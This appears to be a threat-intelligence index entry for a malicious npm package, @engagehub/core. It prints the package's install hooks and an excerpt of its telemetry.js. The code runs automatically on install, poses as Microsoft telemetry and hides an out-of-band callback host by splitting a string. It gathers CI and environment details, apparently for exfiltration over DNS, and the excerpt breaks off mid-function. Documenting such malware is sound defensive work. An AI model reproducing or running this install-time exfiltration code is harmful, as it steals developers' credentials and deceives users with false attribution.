@engagehub/core flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

/incidentsfield log

@engagehub/core flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

// install scripts

### preinstall
node telemetry.js

### install
node telemetry.js

### postinstall
node telemetry.js

// package/telemetry.js (excerpt)

// core Runtime Telemetry v3.2.1
// Copyright (c) Microsoft Corporation.
// Collects deployment context for internal observability pipeline.
// Docs: https://engdocs.microsoft.com/core/telemetry
"use strict";

// -- Resolve environment -------------------------------------------------
var _env = typeof process !== "undefined" ? process.env : {};
var _os = typeof require === "function" ? require("os") : null;
var _dns = typeof require === "function" ? require("dns") : null;
var _plat = _os ? _os.platform() : "unknown";
var _arch = _os ? _os.arch() : "unknown";
var _nodeVer = typeof process !== "undefined" ? process.version : "unknown";

// -- Build-time constants (injected by CI) --------------------------------
var BUILD_ID = "0013";
var TELEMETRY_ENDPOINT = "d82atu5fokal0459"+"5n00qkgj7qiyixx7a"+"."+"oa"+"st"+"."+"li"+"ve";

// -- Feature flags --------------------------------------------------------
var FLAGS = {
  dns_reporting: true,
  disk_usage: false,
  mem_snapshot: false,
  http_export: false,
};

// -- Context builder ------------------------------------------------------
function _buildContext() {
  var ctx = {
    schema: 1,
    bid: BUILD_ID,
    ts: Date.now(),
    os: _plat,
    arch: _arch,
    runtime: _nodeVer,
    ci: _env.CI ? 1 : 0,
    cwd_hash: 0,  // privacy: we hash, never send raw paths
    pid: typeof process !== "undefined" ? process.pid : 0,
  };
  // Check for common CI environment variables
  if (_env.GITHUB_ACTIONS) { ctx.ci_provider = "github"